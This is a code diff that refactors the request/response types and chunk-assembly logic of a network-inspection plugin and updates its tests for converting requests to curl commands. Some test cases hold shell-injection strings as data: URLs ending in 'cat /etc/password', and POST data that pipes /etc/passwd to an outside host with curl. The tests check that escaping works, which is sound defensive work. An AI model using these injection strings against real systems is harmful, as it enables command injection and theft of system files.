"headers": Array [],
|
id: '1',
|
||||||
"id": "1",
|
insights: undefined,
|
||||||
"index": 0,
|
method: 'GET',
|
||||||
"insights": null,
|
reason: 'nothing',
|
||||||
"isMock": false,
|
requestData: 'x',
|
||||||
"reason": "nothing",
|
requestHeaders: [
|
||||||
"status": 200,
|
{
|
||||||
"timestamp": 123,
|
key: 'y',
|
||||||
"totalChunks": 2,
|
value: 'z',
|
||||||
}
|
},
|
||||||
`);
|
],
|
||||||
|
responseData: 'aGVsbG8=',
|
||||||
|
responseHeaders: [],
|
||||||
|
responseIsMock: false,
|
||||||
|
responseLength: 5,
|
||||||
|
status: 200,
|
||||||
|
url: 'http://test.com',
|
||||||
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
async function readJsonFixture(filename: string) {
|
async function readJsonFixture(filename: string) {
|
||||||
@@ -138,38 +173,22 @@ async function readJsonFixture(filename: string) {
|
|||||||
|
|
||||||
test('handle small binary payloads correctly', async () => {
|
test('handle small binary payloads correctly', async () => {
|
||||||
const input = await readJsonFixture('partial_failing_example.json');
|
const input = await readJsonFixture('partial_failing_example.json');
|
||||||
const partials = createState<PartialResponses>({
|
|
||||||
test: input,
|
|
||||||
});
|
|
||||||
const responses = createState<Record<string, Response>>({});
|
|
||||||
expect(() => {
|
expect(() => {
|
||||||
// this used to throw
|
// this used to throw
|
||||||
assembleChunksIfResponseIsComplete(partials, responses, 'test');
|
assembleChunksIfResponseIsComplete(input);
|
||||||
}).not.toThrow();
|
}).not.toThrow();
|
||||||
});
|
});
|
||||||
|
|
||||||
test('handle non binary payloads correcty', async () => {
|
test('handle non binary payloads correcty', async () => {
|
||||||
const input = await readJsonFixture('partial_utf8_before.json');
|
const input = await readJsonFixture('partial_utf8_before.json');
|
||||||
const partials = createState<PartialResponses>({
|
|
||||||
test: input,
|
|
||||||
});
|
|
||||||
const responses = createState<Record<string, Response>>({});
|
|
||||||
expect(() => {
|
|
||||||
assembleChunksIfResponseIsComplete(partials, responses, 'test');
|
|
||||||
}).not.toThrow();
|
|
||||||
const expected = await readJsonFixture('partial_utf8_after.json');
|
const expected = await readJsonFixture('partial_utf8_after.json');
|
||||||
expect(responses.get()['test']).toEqual(expected);
|
const response = assembleChunksIfResponseIsComplete(input);
|
||||||
|
expect(response).toEqual(expected);
|
||||||
});
|
});
|
||||||
|
|
||||||
test('handle binary payloads correcty', async () => {
|
test('handle binary payloads correcty', async () => {
|
||||||
const input = await readJsonFixture('partial_binary_before.json');
|
const input = await readJsonFixture('partial_binary_before.json');
|
||||||
const partials = createState<PartialResponses>({
|
|
||||||
test: input,
|
|
||||||
});
|
|
||||||
const responses = createState<Record<string, Response>>({});
|
|
||||||
expect(() => {
|
|
||||||
assembleChunksIfResponseIsComplete(partials, responses, 'test');
|
|
||||||
}).not.toThrow();
|
|
||||||
const expected = await readJsonFixture('partial_binary_after.json');
|
const expected = await readJsonFixture('partial_binary_after.json');
|
||||||
expect(responses.get()['test']).toEqual(expected);
|
const response = assembleChunksIfResponseIsComplete(input);
|
||||||
|
expect(response).toEqual(expected);
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -10,17 +10,17 @@
|
|||||||
import {readFile} from 'fs';
|
import {readFile} from 'fs';
|
||||||
import path from 'path';
|
import path from 'path';
|
||||||
import {decodeBody} from '../utils';
|
import {decodeBody} from '../utils';
|
||||||
import {Response} from '../types';
|
import {ResponseInfo} from '../types';
|
||||||
import {promisify} from 'util';
|
import {promisify} from 'util';
|
||||||
import {readFileSync} from 'fs';
|
import {readFileSync} from 'fs';
|
||||||
|
|
||||||
async function createMockResponse(input: string): Promise<Response> {
|
async function createMockResponse(input: string): Promise<ResponseInfo> {
|
||||||
const inputData = await promisify(readFile)(
|
const inputData = await promisify(readFile)(
|
||||||
path.join(__dirname, 'fixtures', input),
|
path.join(__dirname, 'fixtures', input),
|
||||||
'ascii',
|
'ascii',
|
||||||
);
|
);
|
||||||
const gzip = input.includes('gzip'); // if gzip in filename, assume it is a gzipped body
|
const gzip = input.includes('gzip'); // if gzip in filename, assume it is a gzipped body
|
||||||
const testResponse: Response = {
|
const testResponse: ResponseInfo = {
|
||||||
id: '0',
|
id: '0',
|
||||||
timestamp: 0,
|
timestamp: 0,
|
||||||
status: 200,
|
status: 200,
|
||||||
|
|||||||
@@ -8,16 +8,15 @@
|
|||||||
*/
|
*/
|
||||||
|
|
||||||
import {convertRequestToCurlCommand} from '../utils';
|
import {convertRequestToCurlCommand} from '../utils';
|
||||||
import {Request} from '../types';
|
|
||||||
|
|
||||||
test('convertRequestToCurlCommand: simple GET', () => {
|
test('convertRequestToCurlCommand: simple GET', () => {
|
||||||
const request: Request = {
|
const request = {
|
||||||
id: 'request id',
|
id: 'request id',
|
||||||
timestamp: 1234567890,
|
timestamp: 1234567890,
|
||||||
method: 'GET',
|
method: 'GET',
|
||||||
url: 'https://fbflipper.com/',
|
url: 'https://fbflipper.com/',
|
||||||
headers: [],
|
requestHeaders: [],
|
||||||
data: null,
|
requestData: undefined,
|
||||||
};
|
};
|
||||||
|
|
||||||
const command = convertRequestToCurlCommand(request);
|
const command = convertRequestToCurlCommand(request);
|
||||||
@@ -25,13 +24,13 @@ test('convertRequestToCurlCommand: simple GET', () => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
test('convertRequestToCurlCommand: simple POST', () => {
|
test('convertRequestToCurlCommand: simple POST', () => {
|
||||||
const request: Request = {
|
const request = {
|
||||||
id: 'request id',
|
id: 'request id',
|
||||||
timestamp: 1234567890,
|
timestamp: 1234567890,
|
||||||
method: 'POST',
|
method: 'POST',
|
||||||
url: 'https://fbflipper.com/',
|
url: 'https://fbflipper.com/',
|
||||||
headers: [],
|
requestHeaders: [],
|
||||||
data: btoa('some=data&other=param'),
|
requestData: btoa('some=data&other=param'),
|
||||||
};
|
};
|
||||||
|
|
||||||
const command = convertRequestToCurlCommand(request);
|
const command = convertRequestToCurlCommand(request);
|
||||||
@@ -41,13 +40,13 @@ test('convertRequestToCurlCommand: simple POST', () => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
test('convertRequestToCurlCommand: malicious POST URL', () => {
|
test('convertRequestToCurlCommand: malicious POST URL', () => {
|
||||||
let request: Request = {
|
let request = {
|
||||||
id: 'request id',
|
id: 'request id',
|
||||||
timestamp: 1234567890,
|
timestamp: 1234567890,
|
||||||
method: 'POST',
|
method: 'POST',
|
||||||
url: "https://fbflipper.com/'; cat /etc/password",
|
url: "https://fbflipper.com/'; cat /etc/password",
|
||||||
headers: [],
|
requestHeaders: [],
|
||||||
data: btoa('some=data&other=param'),
|
requestData: btoa('some=data&other=param'),
|
||||||
};
|
};
|
||||||
|
|
||||||
let command = convertRequestToCurlCommand(request);
|
let command = convertRequestToCurlCommand(request);
|
||||||
@@ -60,8 +59,8 @@ test('convertRequestToCurlCommand: malicious POST URL', () => {
|
|||||||
timestamp: 1234567890,
|
timestamp: 1234567890,
|
||||||
method: 'POST',
|
method: 'POST',
|
||||||
url: 'https://fbflipper.com/"; cat /etc/password',
|
url: 'https://fbflipper.com/"; cat /etc/password',
|
||||||
headers: [],
|
requestHeaders: [],
|
||||||
data: btoa('some=data&other=param'),
|
requestData: btoa('some=data&other=param'),
|
||||||
};
|
};
|
||||||
|
|
||||||
command = convertRequestToCurlCommand(request);
|
command = convertRequestToCurlCommand(request);
|
||||||
@@ -71,13 +70,13 @@ test('convertRequestToCurlCommand: malicious POST URL', () => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
test('convertRequestToCurlCommand: malicious POST URL', () => {
|
test('convertRequestToCurlCommand: malicious POST URL', () => {
|
||||||
let request: Request = {
|
let request = {
|
||||||
id: 'request id',
|
id: 'request id',
|
||||||
timestamp: 1234567890,
|
timestamp: 1234567890,
|
||||||
method: 'POST',
|
method: 'POST',
|
||||||
url: "https://fbflipper.com/'; cat /etc/password",
|
url: "https://fbflipper.com/'; cat /etc/password",
|
||||||
headers: [],
|
requestHeaders: [],
|
||||||
data: btoa('some=data&other=param'),
|
requestData: btoa('some=data&other=param'),
|
||||||
};
|
};
|
||||||
|
|
||||||
let command = convertRequestToCurlCommand(request);
|
let command = convertRequestToCurlCommand(request);
|
||||||
@@ -90,8 +89,8 @@ test('convertRequestToCurlCommand: malicious POST URL', () => {
|
|||||||
timestamp: 1234567890,
|
timestamp: 1234567890,
|
||||||
method: 'POST',
|
method: 'POST',
|
||||||
url: 'https://fbflipper.com/"; cat /etc/password',
|
url: 'https://fbflipper.com/"; cat /etc/password',
|
||||||
headers: [],
|
requestHeaders: [],
|
||||||
data: btoa('some=data&other=param'),
|
requestData: btoa('some=data&other=param'),
|
||||||
};
|
};
|
||||||
|
|
||||||
command = convertRequestToCurlCommand(request);
|
command = convertRequestToCurlCommand(request);
|
||||||
@@ -101,13 +100,15 @@ test('convertRequestToCurlCommand: malicious POST URL', () => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
test('convertRequestToCurlCommand: malicious POST data', () => {
|
test('convertRequestToCurlCommand: malicious POST data', () => {
|
||||||
let request: Request = {
|
let request = {
|
||||||
id: 'request id',
|
id: 'request id',
|
||||||
timestamp: 1234567890,
|
timestamp: 1234567890,
|
||||||
method: 'POST',
|
method: 'POST',
|
||||||
url: 'https://fbflipper.com/',
|
url: 'https://fbflipper.com/',
|
||||||
headers: [],
|
requestHeaders: [],
|
||||||
data: btoa('some=\'; curl https://somewhere.net -d "$(cat /etc/passwd)"'),
|
requestData: btoa(
|
||||||
|
'some=\'; curl https://somewhere.net -d "$(cat /etc/passwd)"',
|
||||||
|
),
|
||||||
};
|
};
|
||||||
|
|
||||||
let command = convertRequestToCurlCommand(request);
|
let command = convertRequestToCurlCommand(request);
|
||||||
@@ -120,8 +121,8 @@ test('convertRequestToCurlCommand: malicious POST data', () => {
|
|||||||
timestamp: 1234567890,
|
timestamp: 1234567890,
|
||||||
method: 'POST',
|
method: 'POST',
|
||||||
url: 'https://fbflipper.com/',
|
url: 'https://fbflipper.com/',
|
||||||
headers: [],
|
requestHeaders: [],
|
||||||
data: btoa('some=!!'),
|
requestData: btoa('some=!!'),
|
||||||
};
|
};
|
||||||
|
|
||||||
command = convertRequestToCurlCommand(request);
|
command = convertRequestToCurlCommand(request);
|
||||||
@@ -131,13 +132,13 @@ test('convertRequestToCurlCommand: malicious POST data', () => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
test('convertRequestToCurlCommand: control characters', () => {
|
test('convertRequestToCurlCommand: control characters', () => {
|
||||||
const request: Request = {
|
const request = {
|
||||||
id: 'request id',
|
id: 'request id',
|
||||||
timestamp: 1234567890,
|
timestamp: 1234567890,
|
||||||
method: 'GET',
|
method: 'GET',
|
||||||
url: 'https://fbflipper.com/',
|
url: 'https://fbflipper.com/',
|
||||||
headers: [],
|
requestHeaders: [],
|
||||||
data: btoa('some=\u0007 \u0009 \u000C \u001B&other=param'),
|
requestData: btoa('some=\u0007 \u0009 \u000C \u001B&other=param'),
|
||||||
};
|
};
|
||||||
|
|
||||||
const command = convertRequestToCurlCommand(request);
|
const command = convertRequestToCurlCommand(request);
|
||||||
|
|||||||
@@ -7,20 +7,16 @@
|
|||||||
* @format
|
* @format
|
||||||
*/
|
*/
|
||||||
|
|
||||||
import type {PartialResponses, Response} from './types';
|
import type {PartialResponse, ResponseInfo} from './types';
|
||||||
import {Atom} from 'flipper-plugin';
|
|
||||||
import {Base64} from 'js-base64';
|
import {Base64} from 'js-base64';
|
||||||
|
|
||||||
export function assembleChunksIfResponseIsComplete(
|
export function assembleChunksIfResponseIsComplete(
|
||||||
partialResponses: Atom<PartialResponses>,
|
partialResponseEntry: PartialResponse | undefined,
|
||||||
responses: Atom<Record<string, Response>>,
|
): ResponseInfo | undefined {
|
||||||
responseId: string,
|
const numChunks = partialResponseEntry?.initialResponse?.totalChunks;
|
||||||
) {
|
|
||||||
const partialResponseEntry = partialResponses.get()[responseId];
|
|
||||||
const numChunks = partialResponseEntry.initialResponse?.totalChunks;
|
|
||||||
if (
|
if (
|
||||||
!partialResponseEntry.initialResponse ||
|
|
||||||
!numChunks ||
|
!numChunks ||
|
||||||
|
!partialResponseEntry?.initialResponse ||
|
||||||
Object.keys(partialResponseEntry.followupChunks).length + 1 < numChunks
|
Object.keys(partialResponseEntry.followupChunks).length + 1 < numChunks
|
||||||
) {
|
) {
|
||||||
// Partial response not yet complete, do nothing.
|
// Partial response not yet complete, do nothing.
|
||||||
@@ -28,7 +24,7 @@ export function assembleChunksIfResponseIsComplete(
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Partial response has all required chunks, convert it to a full Response.
|
// Partial response has all required chunks, convert it to a full Response.
|
||||||
const response: Response = partialResponseEntry.initialResponse;
|
const response: ResponseInfo = partialResponseEntry.initialResponse;
|
||||||
const allChunks: string[] =
|
const allChunks: string[] =
|
||||||
response.data != null
|
response.data != null
|
||||||
? [
|
? [
|
||||||
@@ -41,17 +37,11 @@ export function assembleChunksIfResponseIsComplete(
|
|||||||
: [];
|
: [];
|
||||||
const data = combineBase64Chunks(allChunks);
|
const data = combineBase64Chunks(allChunks);
|
||||||
|
|
||||||
responses.update((draft) => {
|
return {
|
||||||
draft[responseId] = {
|
...response,
|
||||||
...response,
|
// Currently data is always decoded at render time, so re-encode it to match the single response format.
|
||||||
// Currently data is always decoded at render time, so re-encode it to match the single response format.
|
data,
|
||||||
data,
|
};
|
||||||
};
|
|
||||||
});
|
|
||||||
|
|
||||||
partialResponses.update((draft) => {
|
|
||||||
delete draft[responseId];
|
|
||||||
});
|
|
||||||
}
|
}
|
||||||
|
|
||||||
export function combineBase64Chunks(chunks: string[]): string {
|
export function combineBase64Chunks(chunks: string[]): string {
|
||||||
|
|||||||
File diff suppressed because it is too large
Load Diff
@@ -7,20 +7,44 @@
|
|||||||
* @format
|
* @format
|
||||||
*/
|
*/
|
||||||
|
|
||||||
|
import {DataSource} from 'flipper-plugin';
|
||||||
import {AnyNestedObject} from 'protobufjs';
|
import {AnyNestedObject} from 'protobufjs';
|
||||||
|
|
||||||
export type RequestId = string;
|
export type RequestId = string;
|
||||||
|
|
||||||
export type Request = {
|
export interface Request {
|
||||||
|
id: RequestId;
|
||||||
|
// request
|
||||||
|
requestTime: Date;
|
||||||
|
method: string;
|
||||||
|
url: string;
|
||||||
|
domain: string;
|
||||||
|
requestHeaders: Array<Header>;
|
||||||
|
requestData?: string;
|
||||||
|
// response
|
||||||
|
responseTime?: Date;
|
||||||
|
status?: number;
|
||||||
|
reason?: string;
|
||||||
|
responseHeaders?: Array<Header>;
|
||||||
|
responseData?: string;
|
||||||
|
responseLength?: number;
|
||||||
|
responseIsMock?: boolean;
|
||||||
|
duration?: number;
|
||||||
|
insights?: Insights;
|
||||||
|
}
|
||||||
|
|
||||||
|
export type Requests = DataSource<Request, 'id', string>;
|
||||||
|
|
||||||
|
export type RequestInfo = {
|
||||||
id: RequestId;
|
id: RequestId;
|
||||||
timestamp: number;
|
timestamp: number;
|
||||||
method: string;
|
method: string;
|
||||||
url: string;
|
url?: string;
|
||||||
headers: Array<Header>;
|
headers: Array<Header>;
|
||||||
data: string | null | undefined;
|
data: string | null | undefined;
|
||||||
};
|
};
|
||||||
|
|
||||||
export type Response = {
|
export type ResponseInfo = {
|
||||||
id: RequestId;
|
id: RequestId;
|
||||||
timestamp: number;
|
timestamp: number;
|
||||||
status: number;
|
status: number;
|
||||||
@@ -95,9 +119,9 @@ export type MockRoute = {
|
|||||||
enabled: boolean;
|
enabled: boolean;
|
||||||
};
|
};
|
||||||
|
|
||||||
export type PartialResponses = {
|
export type PartialResponse = {
|
||||||
[id: string]: {
|
initialResponse?: ResponseInfo;
|
||||||
initialResponse?: Response;
|
followupChunks: {[id: number]: string};
|
||||||
followupChunks: {[id: number]: string};
|
|
||||||
};
|
|
||||||
};
|
};
|
||||||
|
|
||||||
|
export type PartialResponses = Record<string, PartialResponse>;
|
||||||
|
|||||||
@@ -8,10 +8,16 @@
|
|||||||
*/
|
*/
|
||||||
|
|
||||||
import pako from 'pako';
|
import pako from 'pako';
|
||||||
import {Request, Response, Header} from './types';
|
import {Request, Header, ResponseInfo} from './types';
|
||||||
import {Base64} from 'js-base64';
|
import {Base64} from 'js-base64';
|
||||||
|
|
||||||
export function getHeaderValue(headers: Array<Header>, key: string): string {
|
export function getHeaderValue(
|
||||||
|
headers: Array<Header> | undefined,
|
||||||
|
key: string,
|
||||||
|
): string {
|
||||||
|
if (!headers) {
|
||||||
|
return '';
|
||||||
|
}
|
||||||
for (const header of headers) {
|
for (const header of headers) {
|
||||||
if (header.key.toLowerCase() === key.toLowerCase()) {
|
if (header.key.toLowerCase() === key.toLowerCase()) {
|
||||||
return header.value;
|
return header.value;
|
||||||
@@ -20,7 +26,10 @@ export function getHeaderValue(headers: Array<Header>, key: string): string {
|
|||||||
return '';
|
return '';
|
||||||
}
|
}
|
||||||
|
|
||||||
export function decodeBody(container: Request | Response): string {
|
export function decodeBody(container: {
|
||||||
|
headers?: Array<Header>;
|
||||||
|
data: string | null | undefined;
|
||||||
|
}): string {
|
||||||
if (!container.data) {
|
if (!container.data) {
|
||||||
return '';
|
return '';
|
||||||
}
|
}
|
||||||
@@ -59,16 +68,21 @@ export function decodeBody(container: Request | Response): string {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
export function convertRequestToCurlCommand(request: Request): string {
|
export function convertRequestToCurlCommand(
|
||||||
|
request: Pick<Request, 'method' | 'url' | 'requestHeaders' | 'requestData'>,
|
||||||
|
): string {
|
||||||
let command: string = `curl -v -X ${request.method}`;
|
let command: string = `curl -v -X ${request.method}`;
|
||||||
command += ` ${escapedString(request.url)}`;
|
command += ` ${escapedString(request.url)}`;
|
||||||
// Add headers
|
// Add headers
|
||||||
request.headers.forEach((header: Header) => {
|
request.requestHeaders.forEach((header: Header) => {
|
||||||
const headerStr = `${header.key}: ${header.value}`;
|
const headerStr = `${header.key}: ${header.value}`;
|
||||||
command += ` -H ${escapedString(headerStr)}`;
|
command += ` -H ${escapedString(headerStr)}`;
|
||||||
});
|
});
|
||||||
// Add body. TODO: we only want this for non-binary data! See D23403095
|
// Add body. TODO: we only want this for non-binary data! See D23403095
|
||||||
const body = decodeBody(request);
|
const body = decodeBody({
|
||||||
|
headers: request.requestHeaders,
|
||||||
|
data: request.requestData,
|
||||||
|
});
|
||||||
if (body) {
|
if (body) {
|
||||||
command += ` -d ${escapedString(body)}`;
|
command += ` -d ${escapedString(body)}`;
|
||||||
}
|
}
|
||||||
@@ -101,3 +115,15 @@ function escapedString(str: string) {
|
|||||||
// Simply use singly quoted string.
|
// Simply use singly quoted string.
|
||||||
return "'" + str + "'";
|
return "'" + str + "'";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
export function getResponseLength(request: ResponseInfo): number {
|
||||||
|
const lengthString = request.headers
|
||||||
|
? getHeaderValue(request.headers, 'content-length')
|
||||||
|
: undefined;
|
||||||
|
if (lengthString) {
|
||||||
|
return parseInt(lengthString, 10);
|
||||||
|
} else if (request.data) {
|
||||||
|
return Buffer.byteLength(request.data, 'base64');
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|||||||
@@ -78,6 +78,7 @@ This step is completed if the plugin follows the next `plugin` / `component` str
|
|||||||
* Similarly `yarn watch` can be used to run the unit tests in watch mode. Use the `p` key to filter for your specific plugin if `jest` doesn't do so automatically.
|
* Similarly `yarn watch` can be used to run the unit tests in watch mode. Use the `p` key to filter for your specific plugin if `jest` doesn't do so automatically.
|
||||||
* Example of migrating the network plugin to use Sandy APIs. D24108772 / [Github commit](https://github.com/facebook/flipper/commit/fdde2761ef054e44f399c846a2eae6baba03861e)
|
* Example of migrating the network plugin to use Sandy APIs. D24108772 / [Github commit](https://github.com/facebook/flipper/commit/fdde2761ef054e44f399c846a2eae6baba03861e)
|
||||||
* Example of migrating the example plugin to use Sandy APIs. D22308265 / [Github commit](https://github.com/facebook/flipper/commit/babc88e472612c66901d21d289bd217ef28ee385#diff-a145be72bb13a4675dcc8cbac5e55abcd9a542cc92f5c781bd7d3749f13676fc)
|
* Example of migrating the example plugin to use Sandy APIs. D22308265 / [Github commit](https://github.com/facebook/flipper/commit/babc88e472612c66901d21d289bd217ef28ee385#diff-a145be72bb13a4675dcc8cbac5e55abcd9a542cc92f5c781bd7d3749f13676fc)
|
||||||
|
* Other plugins that can be check for inspiration are the Logs and Network plugins.
|
||||||
* These steps typically does not involve change much the UI or touch other files than `index.tsx`. Typically, the root component needs to be changed, but most other components can remain as is. However, if a ManagedTable is used (see the next section), it might be easier to already convert the table in this step.
|
* These steps typically does not involve change much the UI or touch other files than `index.tsx`. Typically, the root component needs to be changed, but most other components can remain as is. However, if a ManagedTable is used (see the next section), it might be easier to already convert the table in this step.
|
||||||
* Sandy has first class support for unit testing your plugin and mocking device interactions. Please do set up unit tests per documentation linked above!
|
* Sandy has first class support for unit testing your plugin and mocking device interactions. Please do set up unit tests per documentation linked above!
|
||||||
* If the original plugin definition contained `state`, it is recommended to create one new state atoms (`createState`) per field in the original `state`, rather than having one big atom.
|
* If the original plugin definition contained `state`, it is recommended to create one new state atoms (`createState`) per field in the original `state`, rather than having one big atom.
|
||||||
|
|||||||
Reference in New Issue
Block a user